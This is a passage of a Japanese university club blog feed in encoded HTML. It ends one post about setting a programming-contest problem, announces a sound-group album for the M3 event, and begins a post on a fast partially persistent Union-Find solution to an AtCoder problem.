&#x3055;&#x3093;&#x306B;&#x300C;&#x3053;&#x306E;&#x5165;&#x529B;&#x3060;&#x3068;&#x6B63;&#x3057;&#x304F;&#x5224;&#x5B9A;&#x3067;&#x304D;&#x3066;&#x306A;&#x3044;&#x3093;&#x3058;&#x3083;&#x306A;&#x3044;&#xFF1F;&#x300D;&#x3063;&#x3066;&#x6307;&#x6458;&#x3055;&#x308C;&#x3066;&#x898B;&#x8FD4;&#x3057;&#x305F;&#x3089;&#x3001;&#x60F3;&#x5B9A;&#x89E3;&#x306B;&#x30D0;&#x30B0;&#x304C;2&#x7B87;&#x6240;&#x3068;&#x3001;&#x30C6;&#x30B9;&#x30C8;&#x30B1;&#x30FC;&#x30B9;&#x751F;&#x6210;&#x306E;&#x65B9;&#x306B;3&#x7B87;&#x6240;&#x3050;&#x3089;&#x3044;&#x30D0;&#x30B0;&#x304C;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F;&#x3001;&#x982D;&#x304C;&#x4E0A;&#x304C;&#x308A;&#x307E;&#x305B;&#x3093;&#x306D;...&#x3002;&#x3061;&#x306A;&#x307F;&#x306B;&#x305D;&#x308C;&#x3067;&#x6307;&#x6458;&#x3055;&#x308C;&#x305F;&#x5165;&#x529B;&#x306F;&#x3001;<code>handmade.txt</code> &#x3068;&#x3057;&#x3066;&#x5165;&#x308C;&#x3066;&#x3042;&#x308B;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x3053;&#x308C;&#x306E;&#x304A;&#x304B;&#x3052;&#x3067;&#x843D;&#x3068;&#x305B;&#x3066;&#x308B;&#x63D0;&#x51FA;&#x304C;&#x3044;&#x304F;&#x3064;&#x304B;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x3042;&#x3068;&#x7B54;&#x3048;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span></span> &#x306B;&#x4F9D;&#x5B58;&#x3057;&#x306A;&#x3044;&#x3063;&#x3066;&#x3044;&#x3046;&#x30AE;&#x30E3;&#x30B0;&#x3067;&#x3059;&#x3002;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">51</span></span></span></span> &#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">51</span></span></span></span> &#x306F;&#x3001;&#x4F5C;&#x554F;&#x8005;&#x4EF2;&#x9593;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">51</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2251799813685248</span></span></span></span> &#x304C;&#x3044;&#x308B;&#x304B;&#x3089;&#x3063;&#x3066;&#x3044;&#x3046;&#x5185;&#x8F2A;&#x30CD;&#x30BF;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<h3 id="%E7%B5%90%E6%9E%9C">&#x7D50;&#x679C;</h3>
<p>&#x672C;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x3067;&#x4E00;&#x756A;&#x30DA;&#x30CA;&#x6570;&#x304C;&#x591A;&#x3044;&#x554F;&#x984C;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="%E7%B5%82%E3%82%8F%E3%82%8A%E3%81%AB">&#x7D42;&#x308F;&#x308A;&#x306B;</h3>
<p>&#x9014;&#x4E2D;&#x304B;&#x3089;&#x96D1;&#x306A;&#x8A71;&#x3057;&#x304B;&#x66F8;&#x3044;&#x3066;&#x306A;&#x3044;&#x3067;&#x3059;&#x304C;&#x3001;&#x3044;&#x304B;&#x304C;&#x3067;&#x3057;&#x305F;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#x3002;&#x3061;&#x3087;&#x3063;&#x3068;&#x8AB2;&#x984C;&#x3067;&#x5FD9;&#x3057;&#x304F;&#x3066;...<br>
&#x672C;&#x5F53;&#x306F;&#x63D0;&#x51FA;&#x3092;&#x6570;&#x3048;&#x3066;&#x3001;&#x89E3;&#x6CD5;&#x3092;&#x6570;&#x3048;&#x3066;&#x7D71;&#x8A08;&#x3092;&#x53D6;&#x308A;&#x305F;&#x304B;&#x3063;&#x305F;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x50D5;&#x304C;&#x76F4;&#x524D;&#x307E;&#x3067;&#x30D6;&#x30ED;&#x30B0;&#x306E;&#x30BF;&#x30B9;&#x30AF;&#x3092;&#x305F;&#x3081;&#x3066;&#x3044;&#x305F;&#x305F;&#x3081;&#x306B;&#x3067;&#x304D;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;&#x307B;&#x3093;&#x307E;&#x3059;&#x3044;&#x307E;&#x305B;&#x3093;...&#x3002;</p>
<p>&#x3068;&#x3082;&#x304B;&#x304F;&#x3001;&#x81EA;&#x5206;&#x306E;&#x6C17;&#x306B;&#x5165;&#x308B;&#x554F;&#x984C;&#x304C;&#x3067;&#x304D;&#x305F;&#x3053;&#x3068;&#x3001;&#x305D;&#x3057;&#x3066;&#x65B0;&#x305F;&#x306A;&#x77E5;&#x8B58;&#x306E;&#x7372;&#x5F97;&#x3068;&#x518D;&#x78BA;&#x8A8D;&#x3001;&#x3053;&#x306E;&#x4F5C;&#x554F;&#x7D4C;&#x9A13;&#x306B;&#x3088;&#x3063;&#x3066;&#x3044;&#x308D;&#x3044;&#x308D;&#x5B66;&#x3076;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;&#x305D;&#x3057;&#x3066;&#x50D5;&#x306E;&#x554F;&#x984C;&#x3092;&#x89E3;&#x3044;&#x3066;&#x3044;&#x305F;&#x3060;&#x3044;&#x305F;&#x4EBA;&#x3005;&#x306B;&#x611F;&#x8B1D;&#x3092;&#x3057;&#x307E;&#x3059;&#x3002;&#x3042;&#x308A;&#x304C;&#x3068;&#x3046;&#x3054;&#x3056;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x660E;&#x65E5;&#x306E;&#x6295;&#x7A3F;&#x8005;&#x306F;<a href="https://trap.jp/author/2251799813685248/">@2251799813685248</a>&#x3068;<a href="https://trap.jp/author/lemon/">@lemon</a>&#x3067;&#x3059;&#x3002;&#x304A;&#x697D;&#x3057;&#x307F;&#x306B;&#xFF01;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[2026年春 M3 のお知らせ【サウンド班】]]></title><description><![CDATA[<h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2><p>&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;&#x306F;, 4/26(&#x65E5;) &#x958B;&#x50AC;&#x306E;&#x6625;M3 &#x306B;&#x53C2;&#x52A0;&#x3057;&#x307E;&#x3059;&#xFF01;<br>&#x5F53;&#x65E5;&#x30B9;&#x30DA;&#x30FC;&#x30B9;&#x306F;, &#x7B2C;&#x4E00;&#x5C55;&#x793A;&#x5834; P-20b<strong> </strong>&#x3067;&#x3059;</p>]]></description><link>https://trap.jp/post/2924/</link><guid isPermaLink="false">69e81cabe2394c00016e9f6b</guid><category><![CDATA[M3]]></category><dc:creator><![CDATA[senritu]]></dc:creator><pubDate>Thu, 23 Apr 2026 07:45:49 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/img_0115.png" medium="image"/><content:encoded><![CDATA[<h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2><img src="https://trap.jp/content/images/2026/04/img_0115.png" alt="2026&#x5E74;&#x6625; M3 &#x306E;&#x304A;&#x77E5;&#x3089;&#x305B;&#x3010;&#x30B5;&#x30A6;&#x30F3;&#x30C9;&#x73ED;&#x3011;"><p>&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;&#x306F;, 4/26(&#x65E5;) &#x958B;&#x50AC;&#x306E;&#x6625;M3 &#x306B;&#x53C2;&#x52A0;&#x3057;&#x307E;&#x3059;&#xFF01;<br>&#x5F53;&#x65E5;&#x30B9;&#x30DA;&#x30FC;&#x30B9;&#x306F;, &#x7B2C;&#x4E00;&#x5C55;&#x793A;&#x5834; P-20b<strong> </strong>&#x3067;&#x3059;. &#x305C;&#x3072;&#x304A;&#x8D8A;&#x3057;&#x304F;&#x3060;&#x3055;&#x3044;&#xFF01;</p><h2 id="%E3%81%8A%E3%81%97%E3%81%AA%E3%81%8C%E3%81%8D">&#x304A;&#x3057;&#x306A;&#x304C;&#x304D;</h2><h2 id="%E6%96%B0%E8%AD%9C%EF%BC%9Atrap-original-sounds-vol13">&#x65B0;&#x8B5C;&#xFF1A;traP Original Sounds Vol.13</h2><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/ZamKZ5fOlNo?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="&#x3010;M3-2026&#x6625;&#x3011;traP Original Sounds Vol.13&#x3010;Crossfade&#x3011;"></iframe></figure><figure class="kg-card kg-embed-card"><iframe width="100%" height="400" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?visual=true&amp;url=https%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F2307483578&amp;show_artwork=true"></iframe></figure><h3 id="songs">Songs</h3><p>01 ryokusho - &#x30C8;&#x30F3;&#x30CD;&#x30EB;&#x3092;&#x629C;&#x3051;&#x305F;&#x5148;&#x306B;<br>02 Cd - underside<br>03 Ida-ji - &#x6D1E;&#x7A9F;&#x3068;&#x6C34;&#x3068;&#x3001;&#x9280;&#x6CB3;<br>04 MP - Forest<br>05 Fragiila - sl&#xE0;inte!<br>06 otima - &#x30D0;&#x30C3;&#x30C6;&#x30EA;&#x30FC;&#x99C6;&#x52D5;<br>07 Ida-ji - &#x8FF7;&#x8DEF;&#x306E;&#x6E26;&#x306B;&#x5451;&#x307F;&#x8FBC;&#x307E;&#x308C;&#x305F;&#x3089;<br>08 ch4tla - &#x30EC;&#x30A6;&#x30CB;&#x30AA;&#x30F3;<br>09 kitsne - Catch The Wave<br>10 ringo746 - &#x5BDD;&#x8D77;&#x304D;&#x306E;&#x5915;&#x713C;&#x3051;</p><h3 id="credit">Credit</h3><p>Mastering : Ida-ji<br>Jacket : &#x3080;&#x3064;&#x3054;<br>Design : &#x3080;&#x3064;&#x3054;<br>Movie : Slime</p><h2 id="%E6%97%A7%E8%AD%9C">&#x65E7;&#x8B5C;</h2><ul><li>traP Original Sounds Vol.12 (500 &#x5186;)<br>&#x300C;&#x96E8;&#x300D;&#x3092;&#x30C6;&#x30FC;&#x30DE;&#x306B;&#x3057;&#x305F;&#x5168; 8 &#x66F2;&#x3092;&#x53CE;&#x9332;&#x3002;</li></ul><figure class="kg-card kg-embed-card"><iframe width="100%" height="400" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?visual=true&amp;url=https%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F2197870655&amp;show_artwork=true"></iframe></figure><ul><li>traP Original Sounds Vol.11 (500 &#x5186;)<br>&#x300C;&#x30AB;&#x30E9;&#x30D5;&#x30EB;&#x300D;&#x3092;&#x30C6;&#x30FC;&#x30DE;&#x306B;&#x3057;&#x305F;&#x5168; 7 &#x66F2;&#x3092;&#x53CE;&#x9332;&#x3002;</li></ul><figure class="kg-card kg-embed-card"><iframe width="100%" height="400" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?visual=true&amp;url=https%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F2081868444&amp;show_artwork=true"></iframe></figure><ul><li>traP Original Sounds Vol.10 (&#x7121;&#x511F;&#x914D;&#x5E03;)<br>&#x300C;&#x6708;&#x300D;&#x3092;&#x30C6;&#x30FC;&#x30DE;&#x306B;&#x3057;&#x305F;&#x5168; 11 &#x66F2;&#x3092;&#x53CE;&#x9332;&#x3002;</li></ul><figure class="kg-card kg-embed-card"><iframe width="100%" height="400" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?visual=true&amp;url=https%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F1940036591&amp;show_artwork=true"></iframe></figure>]]></content:encoded></item><item><title><![CDATA[部分永続UnionFind で Fastest を取った話]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2>
<p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 50&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;</p>
<h2 id="%E3%82%84%E3%81%A3%E3%81%9F%E3%81%93%E3%81%A8">&#x3084;&#x3063;&#x305F;&#x3053;&#x3068;</h2>
<p><a href="https://atcoder.jp/contests/code-thanks-festival-2017/tasks/code_thanks_festival_2017_h?ref=trap.jp">H.Union Sets</a> &#x3067; Fastest Code &#x3092;&#x53D6;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;&#x3084;&#x3063;&#x305F;&#xFF5E;</p>
<p>Fastest &#x306E;</p>]]></description><link>https://trap.jp/post/2908/</link><guid isPermaLink="false">69dd1407e2394c00016e70ac</guid><category><![CDATA[新歓ブログリレー2026]]></category><dc:creator><![CDATA[n3]]></dc:creator><pubDate>Thu, 23 Apr 2026 06:00:08 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/----------2026-04-15-153451.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2>
<img src="https://trap.jp/content/images/2026/04/----------2026-04-15-153451.png" alt="&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind &#x3067; Fastest &#x3092;&#x53D6;&#x3063;&#x305F;&#x8A71;"><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 50&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;</p>
<h2 id="%E3%82%84%E3%81%A3%E3%81%9F%E3%81%93%E3%81%A8">&#x3084;&#x3063;&#x305F;&#x3053;&#x3068;</h2>
<p><a href="https://atcoder.jp/contests/code-thanks-festival-2017/tasks/code_thanks_festival_2017_h?ref=trap.jp">H.Union Sets</a> &#x3067; Fastest Code &#x3092;&#x53D6;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;&#x3084;&#x3063;&#x305F;&#xFF5E;</p>
<p>Fastest &#x306E;&#x30B3;&#x30FC;&#x30C9;&#xFF1A;<a href="https://atcoder.jp/contests/code-thanks-festival-2017/submissions/74769295?ref=trap.jp">https://atcoder.jp/contests/code-thanks-festival-2017/submissions/74769295</a></p>
<p><img src="https://trap.jp/content/images/2026/04/----------2026-04-15-165757.png" alt="&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind &#x3067; Fastest &#x3092;&#x53D6;&#x3063;&#x305F;&#x8A71;" loading="lazy"></p>
<h2 id="%E5%95%8F%E9%A1%8C">&#x554F;&#x984C;</h2>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span> &#x9802;&#x70B9;&#x306E;UnionFind&#x306B;&#x5BFE;&#x3057;&#x3066;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span> &#x56DE;&#x306E;Union&#x64CD;&#x4F5C;&#x304C;&#x884C;&#x308F;&#x308C;&#x308B;&#x904E;&#x7A0B;&#x304C;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x308B;&#x3002;&#x300E;&#x3042;&#x308B;&#x70B9; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x304C;&#x540C;&#x3058;&#x9023;&#x7D50;&#x6210;&#x5206;&#x306B;&#x5C5E;&#x3059;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x3063;&#x305F;&#x306E;&#x306F;&#x4F55;&#x56DE;&#x76EE;&#x306E;Union&#x64CD;&#x4F5C;&#x304B;&#x3089;&#x3067;&#x3042;&#x308B;&#x304B;&#xFF1F;&#x300F;&#x3068;&#x3044;&#x3046;&#x8CEA;&#x554F;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> &#x56DE;&#x7B54;&#x3048;&#x3066;&#x306A;&#x3055;&#x3044;&#x3002;</p>
<p>&#x3053;&#x306E;&#x554F;&#x984C;&#x306F;&#x3001;&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x3067;&#x611A;&#x76F4;&#x306B;&#x4E8C;&#x5206;&#x63A2;&#x7D22;&#x3057;&#x3066;&#x3082;&#x30AF;&#x30A8;&#x30EA;&#x3042;&#x305F;&#x308A; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mclose">)</span></span></span></span> &#x3068;&#x306A;&#x308A;&#x5168;&#x4F53;&#x3067; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">((</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x3067;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x304C;&#x3001;&#x6700;&#x5927;&#x3067; log &#x304C;2&#x3064;&#x4ED8;&#x304D;&#x307E;&#x3059;&#x3002;&#x307E;&#x305F;&#x4E26;&#x5217;&#x4E8C;&#x5206;&#x63A2;&#x7D22;&#x3092;&#x884C;&#x3046;&#x3068;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">((</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal" style="margin-right:0.0037em;">&#x3B1;</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">Q</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mclose">)</span></span></span></span> &#x3067;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x304C;&#x5B9F;&#x88C5;&#x304C;&#x3084;&#x3084;&#x8907;&#x96D1;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p>&#x305D;&#x3053;&#x3067;&#x3001;&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x3067;&#x306F;&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x306E;&#x5185;&#x90E8;&#x5B9F;&#x88C5;&#x306B;&#x8E0F;&#x307F;&#x8FBC;&#x3080;&#x3053;&#x3068;&#x3067;&#x3001;&#x524D;&#x8A08;&#x7B97; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> / &#x30AF;&#x30A8;&#x30EA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x3001;&#x5168;&#x4F53;&#x3067; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">((</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">Q</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x3067;&#x89E3;&#x304F;&#x65B9;&#x6CD5;&#x3092;&#x7D39;&#x4ECB;&#x3057;&#x307E;&#x3059;&#x3002;&#x5B9F;&#x88C5;&#x3082;&#x4E26;&#x5217;&#x4E8C;&#x5206;&#x63A2;&#x7D22;&#x3088;&#x308A;&#x697D;&#x3067;&#x3059;&#x3057;&#x3001;&#x30AF;&#x30A8;&#x30EA;&#x3054;&#x3068;&#x306B;&#x8A08;&#x7B97;&#x3067;&#x304D;&#x308B;&#x305F;&#x3081;&#x30AF;&#x30A8;&#x30EA;&#x304C;&#x30AA;&#x30F3;&#x30E9;&#x30A4;&#x30F3;&#x3067;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x3066;&#x3082;&#x6C42;&#x3081;&#x3089;&#x308C;&#x307E;&#x3059;&#x3057;&#x3001;&#x30E1;&#x30BD;&#x30C3;&#x30C9;&#x5316;&#x3067;&#x304D;&#x308B;&#x306E;&#x3067;&#x30E9;&#x30A4;&#x30D6;&#x30E9;&#x30EA;&#x5316;&#x304C;&#x5BB9;&#x6613;&#x3067;&#x3059;(&#x4F7F;&#x3046;&#x6A5F;&#x4F1A;&#x304C;&#x3069;&#x308C;&#x3060;&#x3051;&#x3042;&#x308B;&#x304B;&#x3063;&#x3066;&#x8A71;&#x3067;&#x3059;&#x304C;...)&#x3002;</p>
<h2 id="%E9%83%A8%E5%88%86%E6%B0%B8%E7%B6%9Aunionfind%E3%81%AE%E5%86%85%E9%83%A8%E5%AE%9F%E8%A3%85">&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x306E;&#x5185;&#x90E8;&#x5B9F;&#x88C5;</h2>
<p>&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x3067;&#x306F;&#x3001;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306A;&#x64CD;&#x4F5C;&#x304C;&#x884C;&#x3048;&#x307E;&#x3059;&#x3002;&#x3053;&#x3053;&#x3067;&#x300C;t&#x56DE;&#x76EE;&#x307E;&#x3067;&#x306E;Union&#x64CD;&#x4F5C;&#x3092;&#x884C;&#x3063;&#x305F;&#x72B6;&#x614B;&#x300D;&#x306E;&#x3053;&#x3068;&#x3092;&#x300C;&#x6642;&#x523B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> &#x300D;&#x3068;&#x8A00;&#x3044;&#x307E;&#x3059;&#x3002;&#x6642;&#x523B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> &#x3067;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> &#x56DE;&#x306E;Union&#x64CD;&#x4F5C;&#x304C;&#x884C;&#x308F;&#x308C;&#x3066;&#x3044;&#x3066;</p>
<ul>
<li><code>marge(x,y)</code>&#xFF1A;&#x6700;&#x65B0;&#x306E;&#x72B6;&#x614B;&#x306B;&#x5BFE;&#x3057;&#x3066;&#x3001;x &#x3068; y &#x306E;&#x5C5E;&#x3059;&#x308B;&#x96C6;&#x5408;&#x3092;&#x30DE;&#x30FC;&#x30B8;&#x3059;&#x308B;</li>
<li><code>root(x,t)</code>&#xFF1A;&#x6642;&#x523B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> &#x306B;&#x304A;&#x3044;&#x3066;&#x3001;x &#x306E;&#x5C5E;&#x3059;&#x308B;&#x9023;&#x7D50;&#x6210;&#x5206;&#x306E;&#x6839;&#x3092;&#x8FD4;&#x3059;</li>
<li><code>same(x,y,t)</code>&#xFF1A;&#x6642;&#x523B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> &#x306B;&#x304A;&#x3044;&#x3066;&#x3001;x &#x3068; y &#x304C;&#x540C;&#x3058;&#x9023;&#x7D50;&#x6210;&#x5206;&#x306B;&#x5C5E;&#x3059;&#x308B;&#x304B;&#x5224;&#x5B9A;&#x3059;&#x308B;</li>
</ul>
